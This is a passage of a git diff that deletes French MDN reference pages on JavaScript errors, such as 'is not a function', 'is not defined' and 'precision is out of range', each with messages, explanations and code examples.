- - diff --git a/files/fr/web/javascript/reference/erreurs/more_arguments_needed/index.html b/files/fr/web/javascript/reference/erreurs/more_arguments_needed/index.html deleted file mode 100644 index 6c33234995..0000000000 --- a/files/fr/web/javascript/reference/erreurs/more_arguments_needed/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 'TypeError: More arguments needed' -slug: Web/JavaScript/Reference/Erreurs/More_arguments_needed -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/More_arguments_needed ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: argument is not an Object and is not null (Edge)
-TypeError: Object.create requires at least 1 argument, but only 0 were passed
-TypeError: Object.setPrototypeOf requires at least 2 arguments, but only 0 were passed
-TypeError: Object.defineProperties requires at least 1 argument, but only 0 were passed
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}.

- -

Quel est le problème ?

- -

Lors de l'appel de la fonction, il y a eu une erreur due au manque d'argument. La fonction doit recevoir plus de paramètres afin de pouvoir fonctionner.

- -

Exemples

- -

La méthode {{jsxref("Object.create()")}} nécessite au moins un argument et {{jsxref("Object.setPrototypeOf()")}} requiert deux paramètres :

- -
var obj = Object.create();
-// TypeError: Object.create requires more than 0 arguments
-
-var obj = Object.setPrototypeOf({});
-// TypeError: Object.setPrototypeOf requires more than 1 argument
-
- -

On peut corriger cet exemple en utilisant {{jsxref("null")}} comme prototype :

- -
var obj = Object.create(null);
-
-var obj = Object.setPrototypeOf({}, null);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/negative_repetition_count/index.html b/files/fr/web/javascript/reference/erreurs/negative_repetition_count/index.html deleted file mode 100644 index 9ff58b2052..0000000000 --- a/files/fr/web/javascript/reference/erreurs/negative_repetition_count/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: 'RangeError: repeat count must be non-negative' -slug: Web/JavaScript/Reference/Erreurs/Negative_repetition_count -tags: - - Erreurs - - JavaScript - - RangeError -translation_of: Web/JavaScript/Reference/Errors/Negative_repetition_count ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
RangeError: argument out of range (Edge)
-RangeError: repeat count must be non-negative (Firefox)
-RangeError: Invalid count value (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("RangeError")}}

- -

Quel est le problème ?

- -

La méthode {{jsxref("String.prototype.repeat()")}} a été utilisée avec un argument négatif. Or, cet argument doit être compris dans l'intervalle [0, +∞).

- -

Exemples

- -

Exemples invalides

- -
'abc'.repeat(-1); // RangeError
- -

Exemples valides

- -
'abc'.repeat(0);    // ''
-'abc'.repeat(1);    // 'abc'
-'abc'.repeat(2);    // 'abcabc'
-'abc'.repeat(3.5);  // 'abcabcabc' (converti en entier)
-
- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.repeat()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/no_non-null_object/index.html b/files/fr/web/javascript/reference/erreurs/no_non-null_object/index.html deleted file mode 100644 index a2196fd757..0000000000 --- a/files/fr/web/javascript/reference/erreurs/no_non-null_object/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: 'TypeError: "x" is not a non-null object' -slug: Web/JavaScript/Reference/Erreurs/No_non-null_object -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/No_non-null_object ---- -
{{JSSidebar("Errors")}}
- -

Message

- -
TypeError: Invalid descriptor for property {x} (Edge)
-TypeError: "x" is not a non-null object (Firefox)
-TypeError: Property description must be an object: "x" (Chrome)
-TypeError: Invalid value used in weak set (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

Un objet devrait être trouvé et n'est pas fourni. La valeur {{jsxref("null")}} n'est pas un objet et ne fonctionnera pas, il est nécessaire de fournir un véritable objet pour que le code en question fonctionne.

- -

Exemples

- -

Absence d'un descripteur de propriété

- -

Lorsqu'on utilise des méthodes telles que {{jsxref("Object.create()")}}, {{jsxref("Object.defineProperty()")}} ou {{jsxref("Object.defineProperties()")}}, le paramètre optionnel de description des propriétés doit être un descripteur sous la forme d'un objet. Si la valeur fournie n'est pas un objet (mais par exemple un nombre), l'appel à la méthode déclenchera une erreur :

- -
Object.defineProperty({}, 'cle', 1);
-// TypeError: 1 is not a non-null object
-
-Object.defineProperty({}, 'cle', null);
-// TypeError: null is not a non-null object
-
- -

Un descripteur de propriété valide aura la structure suivante :

- -
Object.defineProperty({}, 'cle', { value: 'toto', writable: false });
-
- -

Les clés de WeakMap et WeakSet sont des objets

- -

Les objets {{jsxref("WeakMap")}} et {{jsxref("WeakSet")}} utilisent des objets comme clé. On ne peut pas utiliser d'autres types de valeurs pour les clés de ces objets.

- -
var ws = new WeakSet();
-ws.add('toto');
-// TypeError: "toto" is not a non-null object
- -

À la place, on utilisera des objets :

- -
ws.add({toto: 'truc'});
-ws.add(window);
-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.create()")}}
    • -
  • {{jsxref("Object.defineProperty()")}}, {{jsxref("Object.defineProperties()")}}
    • -
  • {{jsxref("WeakMap")}}, {{jsxref("WeakSet")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/no_properties/index.html b/files/fr/web/javascript/reference/erreurs/no_properties/index.html deleted file mode 100644 index 0edd868cab..0000000000 --- a/files/fr/web/javascript/reference/erreurs/no_properties/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 'TypeError: "x" has no properties' -slug: Web/JavaScript/Reference/Erreurs/No_properties -tags: - - Erreurs - - JavaScript - - Reference - - TypeError -translation_of: Web/JavaScript/Reference/Errors/No_properties ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Unable to get property {x} of undefined or null reference (Edge)
-TypeError: null has no properties (Firefox)
-TypeError: undefined has no properties (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}.

- -

Quel est le problème ?

- -

Les valeurs {{jsxref("null")}} et {{jsxref("undefined")}} n'ont aucunes propriétés auxquelles accéder.

- -

Exemples

- -
null.toto;
-// TypeError: null has no properties
-
-undefined.truc;
-// TypeError: undefined has no properties
-
- -

Voir aussi

- -
    -
  • {{jsxref("null")}}
    • -
  • {{jsxref("undefined")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/no_variable_name/index.html b/files/fr/web/javascript/reference/erreurs/no_variable_name/index.html deleted file mode 100644 index db4e1103b3..0000000000 --- a/files/fr/web/javascript/reference/erreurs/no_variable_name/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 'SyntaxError: missing variable name' -slug: Web/JavaScript/Reference/Erreurs/No_variable_name -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/No_variable_name ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: missing variable name (Firefox)
-SyntaxError: Unexpected token = (Chrome)
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Il manque un nom pour une variable. Cela est probablement dû à une erreur de syntaxe dans le code. Peut-être qu'une variable est placée au mauvais endroit ou peut-être qu'il manque un nom car on n'a pas trouvé de nom pertinent… (ce qui est souvent assez difficile).

- -

Exemples

- -

Absence d'un nom pour une variable

- -
var = "toto";
-
- -

Il est souvent compliqué de trouver le bon nom pour une variable…

- -
var àDéfautDeMieux = "toto";
- -

Les mots-clés réservés ne peuvent pas être utilisés comme noms de variables

- -

Quelques mots-clés sont réservés et ne peuvent pas être utilisés comme noms de variable :

- -
var debugger = "zuuuuut";
-// SyntaxError: missing variable name
-
- -

Déclarer plusieurs variables

- -

Attention aux virgules lorsqu'on déclare plusieurs variables… Y a-t-il plus de virgules que nécessairee ? Une virgule est-elle utilisée à la place d'un point-virgule ?

- -
var x, y = "toto",
-var x, = "toto"
-
-var un = document.getElementById('un'),
-var deux = document.getElementById('deux'),
-
-// SyntaxError: missing variable name
-
- -

Voici une version corrigée :

- -
var x, y = "toto";
-var x = "toto";
-
-var un = document.getElementById('un');
-var deux = document.getElementById('deux');
- -

Tableaux

- -

Pour former un littéral de tableau ({{jsxref("Array")}}), il est nécessaire d'ajouter des crochets autour des valeurs des éléments. Le fragment de code suivant ne fonctionnera pas :

- -
var arr = 1,2,3,4,5;
-// SyntaxError: missing variable name
-
- -

Voici la forme équivalente correcte :

- -
var arr = [1,2,3,4,5];
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/non_configurable_array_element/index.html b/files/fr/web/javascript/reference/erreurs/non_configurable_array_element/index.html deleted file mode 100644 index 91f387a7a9..0000000000 --- a/files/fr/web/javascript/reference/erreurs/non_configurable_array_element/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 'TypeError: can''t delete non-configurable array element' -slug: Web/JavaScript/Reference/Erreurs/Non_configurable_array_element -tags: - - Erreur - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: can't delete non-configurable array element (Firefox)
-TypeError: Cannot delete property '2' of [object Array] (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

On a voulu raccourcir la longueur d'un tableau mais l'un des éléments de ce tableau est non-configurable. Lorsqu'on tronque un tableau, les éléments situés au-delà de la nouvelle longueur seront supprimés. Dans ce cas, c'est cette suppression qui n'a pas pu être effectuée.

- -

L'attribut configurable permet de contrôler si la propriété peut être supprimée d'un objet et si ses attributs (en dehors de writable) peuvent être modifiés.

- -

La plupart du temps, les propriétés d'un objet créé avec un littéral de tableau sont configurables. Toutefois, si on utilise {{jsxref("Object.defineProperty()")}} par exemple, la propriété n'est pas configurable par défaut.

- -

Exemples

- -

Propriétés non-configurables créées avec  Object.defineProperty

- -

Par défaut, la méthode {{jsxref("Object.defineProperty()")}} crée des propriétés non-configurables si on n'indique pas expressément le contraire :

- -
var arr = [];
-Object.defineProperty(arr, 0, {value: 0});
-Object.defineProperty(arr, 1, {value: "1"});
-
-arr.length = 1;
-// TypeError: can't delete non-configurable array element
-
- -

Si on veut tronquer le tableau, il faut que les éléments excédants soient configurables :

- -
var arr = [];
-Object.defineProperty(arr, 0, {value: 0, configurable: true});
-Object.defineProperty(arr, 1, {value: "1", configurable: true});
-
-arr.length = 1;
-
- -

Tableaux scellés (seal)

- -

La méthode {{jsxref("Object.seal()")}} permet de marquer l'ensemble des propriétés (ici les éléments du tableau) comme non-configurables :

- -
var arr = [1,2,3];
-Object.seal(arr);
-
-arr.length = 1;
-// TypeError: can't delete non-configurable array element
-
- -

Pour corriger l'erreur, il faut retirer l'appel à {{jsxref("Object.seal()")}} ou réaliser une copie du tableau. Dans ce dernier cas, on notera que tronquer la copie du tableau ne modifie pas la longueur du tableau original.

- -
var arr = [1,2,3];
-Object.seal(arr);
-
-// On copie le tableau initial pour tronquer cette copie
-var copie = Array.from(arr);
-copie.length = 1;
-// arr.length == 3
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/not_a_codepoint/index.html b/files/fr/web/javascript/reference/erreurs/not_a_codepoint/index.html deleted file mode 100644 index be95fbb594..0000000000 --- a/files/fr/web/javascript/reference/erreurs/not_a_codepoint/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: 'RangeError: argument is not a valid code point' -slug: Web/JavaScript/Reference/Erreurs/Not_a_codepoint -tags: - - Erreurs - - JavaScript - - RangeError -translation_of: Web/JavaScript/Reference/Errors/Not_a_codepoint ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
RangeError: Invalid code point {0} (Edge)
-RangeError: {0} is not a valid code point (Firefox)
-RangeError: Invalid code point {0} (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("RangeError")}}

- -

Quel est le problème ?

- -

La méthode {{jsxref("String.fromCodePoint()")}} a été utilisée mais elle n'accepte que les points de code valides (code points) et la valeur fournie en argument n'est pas un point de code valide (ex. NaN, -1).

- -

Un point de code est une valeur de code Unicode et s'inscrit dans un intervalle allant de 0 à 0x10FFFF.

- -

Les valeurs {{jsxref("NaN")}}, les entiers négatifs (-1), les flottants (3.14) ou les valeur supérieures à 0x10FFFF (1114111) ne peuvent pas être utilisées avec cette méthode.

- -

Examples

- -

Exemples invalides

- -
String.fromCodePoint('_');      // RangeError
-String.fromCodePoint(Infinity); // RangeError
-String.fromCodePoint(-1);       // RangeError
-String.fromCodePoint(3.14);     // RangeError
-String.fromCodePoint(3e-2);     // RangeError
-String.fromCodePoint(NaN);      // RangeError
- -

Exemples valides

- -
String.fromCodePoint(42);       // "*"
-String.fromCodePoint(65, 90);   // "AZ"
-String.fromCodePoint(0x404);    // "\u0404"
-String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
-String.fromCodePoint(194564);   // "\uD87E\uDC04"
-String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
-
- -

Voir aussi

- -
    -
  • {{jsxref("String.fromCodePoint()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/not_a_constructor/index.html b/files/fr/web/javascript/reference/erreurs/not_a_constructor/index.html deleted file mode 100644 index 639a2c1b41..0000000000 --- a/files/fr/web/javascript/reference/erreurs/not_a_constructor/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: 'TypeError: "x" is not a constructor' -slug: Web/JavaScript/Reference/Erreurs/Not_a_constructor -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Not_a_constructor ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Object doesn't support this action (Edge)
-TypeError: "x" is not a constructor
-
-TypeError: Math is not a constructor
-TypeError: JSON is not a constructor
-TypeError: Symbol is not a constructor
-TypeError: Reflect is not a constructor
-TypeError: Intl is not a constructor
-TypeError: SIMD is not a constructor
-TypeError: Atomics is not a constructor
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

Une variable ou un objet a été utilisé comme un constructeur alors que cet objet ou cette variable n'est pas un constructeur. Pour plus d'informations sur les constructeurs, voir la page sur l'opérateur new.

- -

De nombreux objets globaux tels que {{jsxref("String")}} ou {{jsxref("Array")}}, sont constructibles avec new. Cependant, d'autres objets globaux ne le sont pas (leurs propriétés et méthodes sont statiques). Les objets standards natifs suivants ne sont pas des constructeur : {{jsxref("Math")}}, {{jsxref("JSON")}}, {{jsxref("Symbol")}}, {{jsxref("Reflect")}}, {{jsxref("Intl")}}, {{jsxref("SIMD")}}, {{jsxref("Atomics")}}.

- -

Les fonctions génératrices ne peuvent pas non plus être utilisées comme des constructeurs.

- -

Exemples

- -

Exemples invalides

- -
var Voiture = 1;
-new Voiture();
-// TypeError: Voiture is not a constructor
-
-new Math();
-// TypeError: Math is not a constructor
-
-new Symbol();
-// TypeError: Symbol is not a constructor
-
-function* f() {};
-var obj = new f;
-// TypeError: f is not a constructor
-
- -

Créer un constructeur voiture

- -

Imaginons qu'on veuille représenter des voitures sous forme d'objets. On appellera ce type voiture et on lui ajoutera des propriétés pour le fabricant, le modèle et l'année. Pour cela, on pourra écrire la fonction suivante :

- -
function Voiture(fabriquant, modèle, année) {
-  this.fabriquant = fabriquant;
-  this.modèle = modèle;
-  this.année = année;
-}
-
- -

On peut désormais créer un objet maVoiture comme ceci :

- -
var maVoiture = new Voiture("Renault", "Twingo", 2006);
- -

Avec les promesses

- -

Lorsqu'on renvoie une promesse immédiatement tenue ou rompue, il n'est pas nécessaire d'utiliser new Promise() pour la manipuler. Il faut plutôt utiliser les méthodes statiques {{jsxref("Promise.resolve()")}} ou {{jsxref("Promise.reject()")}} :

- -
// Dans ce cas on aura une exception
-// "this is not a constructor"
-return new Promise.resolve(true);
-
- -
// Cette formulation fonctionne mais
-// est inutilement longue
-return new Promise((resolve, reject) => { resolve(true); });
-
-// On pourra autrement utiliser les
-// méthodes statiques
-return Promise.resolve(true);
-return Promise.reject(false);
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/not_a_function/index.html b/files/fr/web/javascript/reference/erreurs/not_a_function/index.html deleted file mode 100644 index 1fcd81ecfe..0000000000 --- a/files/fr/web/javascript/reference/erreurs/not_a_function/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: 'TypeError: "x" is not a function' -slug: Web/JavaScript/Reference/Erreurs/Not_a_function -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Not_a_function ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Object doesn't support property or method {x} (Edge)
-TypeError: "x" is not a function
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}.

- -

Quel est le problème ?

- -

Une valeur a été utilisée pour un appel de fonction alors que cette valeur n'est pas une fonction. Autrement dit, un fragment de code attendait une fonction mais a reçu des valeurs d'un autre type.

- -

Il est possible qu'il y ait une coquille dans le nom de la fonction. Peut être que l'objet sur lequel la méthode est invoquée ne possède pas cette fonction (par exemple, les objets Array possèdent une fonction map() mais d'autres objets ne l'ont pas).

- -

Il existe de nombreuses fonctions natives qui fonctionnent à l'aide d'une fonction (callback) passée en argument :

- -
    -
  • Pour les objets {{jsxref("Array")}} ou {{jsxref("TypedArray")}}, voici les fonctions qui utilisent une fonction en argument : -
      -
    • {{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Array.prototype.map()")}}, {{jsxref("Array.prototype.filter()")}},  {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}}, {{jsxref("Array.prototype.find()")}}
      • -
    -
    • -
  • Pour les objets {{jsxref("Map")}} et {{jsxref("Set")}}, voici les méthodes concernées : -
      -
    • {{jsxref("Map.prototype.forEach()")}} and {{jsxref("Set.prototype.forEach()")}}
      • -
    -
    • -
- -

Exemples

- -

Une coquille dans le nom de la fonction

- -

Dans ce cas, qui arrive bien trop souvent, il y a une faute d'orthographe dans le nom de la fonction utilisée :

- -
var x = document.getElementByID("toto");
-// TypeError: document.getElementByID is not a function
-
- -

Le nom de la fonction est (dans cet exemple) getElementById (attention à la casse pour les noms en JavaScript) :

- -
var x = document.getElementById("toto");
-
- -

Appeler une fonction sur le mauvais objet

- -

Certaines méthodes ne fonctionnent que pour certains types d'objet et utilisent une fonction en argument. Ainsi, dans cet exemple, on utilise {{jsxref("Array.prototype.map()")}} qui ne fonctionne que sur les objets {{jsxref("Array")}}.

- -
var obj = { a: 13, b: 37, c: 42 };
-
-obj.map(function(num) {
-  return num * 2;
-});
-
-// TypeError: obj.map is not a function
- -

Il faudra utiliser un tableau à la place :

- -
var nombres = [1, 4, 9];
-
-nombres.map(function(num) {
-  return num * 2;
-});
-
-// Array [ 2, 8, 18 ]
-
- -

Utiliser le même nom pour une méthode et une propriété

- -

Lorsqu'on écrit une classe, on peut malheureusement utiliser le même nom pour une propriété et une méthode. Lorsqu'on appellera la fonction, celle-ci aura été remplacée par la propriété et cela déclenchera une erreur :

- -
var Chien = function () {
- this.age = 11;
- this.couleur = "noir";
- this.nom = "Ralph";
- return this;
-}
-
-Chien.prototype.nom = function(nom) {
- this.nom = nom;
- return this;
-}
-
-
-var monNouveauChien = new Chien();
-monNouveauChien.nom("Cassidy"); // Uncaught TypeError: monNouveauChien.nom is not a function
-
- -

Pour résoudre le problème, on utilisera deux noms distincts pour la propriété et la méthode :

- -
var Chien = function () {
- this.age = 11;
- this.couleur = "noir";
- this.nomChien = "Ralph";
- return this;
-}
-
-Chien.prototype.nom = function(nom) {
- this.nomChien = nom;
- return this;
-}
-
-
-var monNouveauChien = new Chien();
-monNouveauChien.nom("Cassidy"); // Chien { age: 11, couleur: "noir", nomChien: "Cassidy" }
-
- -

Utiliser des parenthèses pour la multiplication

- -

En notation mathématique, on peut écrire 2(3+5) pour indiquer qu'on souhaite multiplier 2 par 3 + 5. Toutefois, une telle écriture n'est pas valide en JavaScript car il faut préciser l'opérateur de multiplication :

- -
var seize = 2(3 + 5);
-console.log('2 x (3 + 5) vaut ' + String(seize));
-// Uncaught TypeError: 2 is not a function
- -

Pour corriger, il suffit d'ajouter l'opérateur * :

- -
var seize = 2 * (3 + 5);
-console.log('2 x (3 + 5) is ' + String(seize));
-//2 x (3 + 5) is 16
-
- -

Importer un module exporté correctement

- -

Assurez-vous d'importer le module correctement. Si par exemple, on dispose d'une bibliothèque helpers.js avec le code suivant :

- -
let helpers = function () { };
-helpers.log = function(msg) {
-  console.log(msg);
-};
-
-export default helpers;
- -

Pour l'importer côté application, on écrira :

- -
import helpers from './helpers'
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/not_defined/index.html b/files/fr/web/javascript/reference/erreurs/not_defined/index.html deleted file mode 100644 index 6ec4ec7dfa..0000000000 --- a/files/fr/web/javascript/reference/erreurs/not_defined/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: 'ReferenceError: "x" is not defined' -slug: Web/JavaScript/Reference/Erreurs/Not_defined -tags: - - Erreur - - JavaScript - - Reference - - ReferenceError -translation_of: Web/JavaScript/Reference/Errors/Not_defined ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
ReferenceError: "x" is not defined
-
- -

Type d'erreur

- -

{{jsxref("ReferenceError")}}.

- -

Quel est le problème ?

- -

Une variable qui n'existe pas est référencée quelque part. Cette variable doit être déclarée ou il faut vérifier qu'elle est disponible dans le script concerné ou dans la portée utilisée.

- -
-

Note : Lors du chargement d'une bibliothèque comme jQuery, assurez-vous de bien charger la bibliothèque avant d'accéder aux variables comme $. La balise {{HTMLElement("script")}} utilisée pour charger la bibliothèque doit être présente avant le code qui l'utilise.

-
- -

Exemples

- -

Exemple de variable non déclarée

- -
toto.substring(1); // ReferenceError: toto is not defined
-
- -

La variable toto n'est définie nulle part. De plus, il faut qu'elle soit une chaîne de caractères afin que la méthode {{jsxref("String.prototype.substring()")}} puisse fonctionner.

- -
var toto = "truc";
-toto.substring(1); // "ruc"
- -

Exemple de portée invalide

- -

Une variable doit être disponible dans le contexte d'exécution où elle est utilisée. Les variables définies au sein d'une fonction ne peuvent pas être utilisées en dehors de cette fonction car la variable appartient à la portée de la fonction.

- -
function numbers () {
-  var num1 = 2,
-      num2 = 3;
-  return num1 + num2;
-}
-
-console.log(num1); // ReferenceError num1 is not defined.
- -

Toutefois, une fonction peut accéder aux variables et aux fonctions définies dans la portée dans laquelle elle s'inscrit. Ainsi, une fonction définie dans la portée globale peut utiliser toutes les variables définies dans la portée globale.

- -
var num1 = 2,
-    num2 = 3;
-
-function numbers () {
-  return num1 + num2;
-}
-
-console.log(num1); // 2
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/precision_range/index.html b/files/fr/web/javascript/reference/erreurs/precision_range/index.html deleted file mode 100644 index 888b151408..0000000000 --- a/files/fr/web/javascript/reference/erreurs/precision_range/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: 'RangeError: precision is out of range' -slug: Web/JavaScript/Reference/Erreurs/Precision_range -tags: - - Erreurs - - JavaScript - - RangeError -translation_of: Web/JavaScript/Reference/Errors/Precision_range ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
RangeError: The number of fractional digits is out of range (Edge)
-RangeError: The precision is out of range (Edge)
-RangeError: precision {0} out of range (Firefox)
-RangeError: toExponential() argument must be between 0 and 20 (Chrome)
-RangeError: toFixed() digits argument must be between 0 and 20 (Chrome)
-RangeError: toPrecision() argument must be between 1 and 21 (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("RangeError")}}

- -

Quel est le problème ?

- -

Un argument dont la précision est en dehors de l'intervalle valide, prévu par le moteur JavaScript, a été utilisé pour une de ces méthodes :

- -
    -
  • {{jsxref("Number.prototype.toExponential()")}}
    • -
  • {{jsxref("Number.prototype.toFixed()")}}
    • -
  • {{jsxref("Number.prototype.toPrecision()")}}
    • -
- -

Généralement, ces méthodes acceptent des arguments de précision compris entre 0 et 20 (voire 21). Cependant, la spécification ECMAScript permet de gérer des valeurs en dehors de cet intervalle.

- - - - - - - - - - - - - - - - - - - - - - - - - - -
MéthodeFirefox (SpiderMonkey)Chrome, Opera (V8)
{{jsxref("Number.prototype.toExponential()")}}0 to 1000 to 20
{{jsxref("Number.prototype.toFixed()")}}-20 to 1000 to 20
{{jsxref("Number.prototype.toPrecision()")}}1 to 1001 to 21
- -

Exemples

- -

Exemples invalides

- -
77.1234.toExponential(-1);  // RangeError
-77.1234.toExponential(101); // RangeError
-
-2.34.toFixed(-100);         // RangeError
-2.34.toFixed(1001);         // RangeError
-
-1234.5.toPrecision(-1);     // RangeError
-1234.5.toPrecision(101);    // RangeError
-
- -

Exemples valides

- -
77.1234.toExponential(4); // 7.7123e+1
-77.1234.toExponential(2); // 7.71e+1
-
-2.34.toFixed(1); // 2.3
-2.35.toFixed(1); // 2.4 (note that it rounds up in this case)
-
-5.123456.toPrecision(5); // 5.1235
-5.123456.toPrecision(2); // 5.1
-5.123456.toPrecision(1); // 5
-
- -

Voir aussi

- -
    -
  • {{jsxref("Number.prototype.toExponential()")}}
    • -
  • {{jsxref("Number.prototype.toFixed()")}}
    • -
  • {{jsxref("Number.prototype.toPrecision()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/property_access_denied/index.html b/files/fr/web/javascript/reference/erreurs/property_access_denied/index.html deleted file mode 100644 index 52a86be808..0000000000 --- a/files/fr/web/javascript/reference/erreurs/property_access_denied/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: 'Error: Permission denied to access property "x"' -slug: Web/JavaScript/Reference/Erreurs/Property_access_denied -tags: - - Erreurs - - Error - - JavaScript - - Sécurité -translation_of: Web/JavaScript/Reference/Errors/Property_access_denied ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Error: Permission denied to access property "x"
-
- -

Type d'erreur

- -

{{jsxref("Error")}}.

- -

Quel est le problème ?

- -

Il y a eu une tentative d'accès non-autorisée à un objet sur lequel vous n'avez pas de permissions. Généralement, cela se produit lorsqu'un élément {{HTMLElement("iframe")}} est chargée depuis un domaine différent et que la condition de même origine n'est pas respectée.

- -

Exemples

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"></iframe>
-    <script>
-      onload = function() {
-        console.log(frames[0].document);
-        // Error: Permission denied to access property "document"
-      }
-    </script>
-  </head>
-  <body></body>
-</html>
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/read-only/index.html b/files/fr/web/javascript/reference/erreurs/read-only/index.html deleted file mode 100644 index b48b622e27..0000000000 --- a/files/fr/web/javascript/reference/erreurs/read-only/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: 'TypeError: "x" is read-only' -slug: Web/JavaScript/Reference/Erreurs/Read-only -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Read-only ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Assignment to read-only properties is not allowed in strict mode (Edge)
-TypeError: "x" is read-only (Firefox)
-TypeError: 0 is read-only (Firefox)
-TypeError: Cannot assign to read only property 'x' of #<Object> (Chrome)
-TypeError: Cannot assign to read only property '0' of [object Array] (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

La variable globale ou la propriété ne peut pas recevoir de valeur ou être modifiée car elle est en lecture seule (d'un point de vue technique, il s'agit d'une propriété de donnée en lecture seule).

- -

Cette erreur ne se produit qu'avec le mode strict. En mode non-strict, l'affectation est ignorée silencieusement.

- -

Exemples

- -

Exemples invalides

- -

Les propriétés en lecture seule ne sont pas fréquemment utilisées mais on peut en créer en utilisant les méthodes {{jsxref("Object.defineProperty()")}} ou {{jsxref("Object.freeze()")}}.

- -
"use strict";
-var obj = Object.freeze({name: "Elsa", score: 157});
-obj.score = 0;  // TypeError
-
-"use strict";
-Object.defineProperty(this, "NB_POUMONS", {value: 2, writable: false});
-NB_POUMONS = 3;  // TypeError
-
-"use strict";
-var frozenArray = Object.freeze([0, 1, 2]);
-frozenArray[0]++;  // TypeError
-
- -

Quelques propriétés natives JavaScript sont également en lecture seule. Par exemple, on obtient cette erreur lorsqu'on souhaite redéfinir une constante mathématique.

- -
"use strict";
-Math.PI = 4;  // TypeError
-
- -

La variable globale undefined est également en lecture seule. On ne peut donc pas faire disparaître la fameuse erreur "undefined is not a function" avec ce code :

- -
"use strict";
-undefined = function () {};
-// TypeError: "undefined" is read-only
-
- -

Exemples valides

- -
"use strict";
-var obj = Object.freeze({name: "Score", points: 157});
-obj = {name: obj.name, points: 0};
-// En changeant d'objet, ça fonctionne
-
-"use strict";
-var NB_POUMONS = 2;  // `var` fonctionne
-NB_POUMONS = 3;  // ok
-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.defineProperty()")}}
    • -
  • {{jsxref("Object.freeze()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/redeclared_parameter/index.html b/files/fr/web/javascript/reference/erreurs/redeclared_parameter/index.html deleted file mode 100644 index 66d52b9b2b..0000000000 --- a/files/fr/web/javascript/reference/erreurs/redeclared_parameter/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: 'SyntaxError: redeclaration of formal parameter "x"' -slug: Web/JavaScript/Reference/Erreurs/Redeclared_parameter -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Redeclared_parameter ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Let/Const redeclaration (Edge)
-SyntaxError: redeclaration of formal parameter "x" (Firefox)
-SyntaxError: Identifier "x" has already been declared (Chrome)
-
- -

Type d'erreur

- -

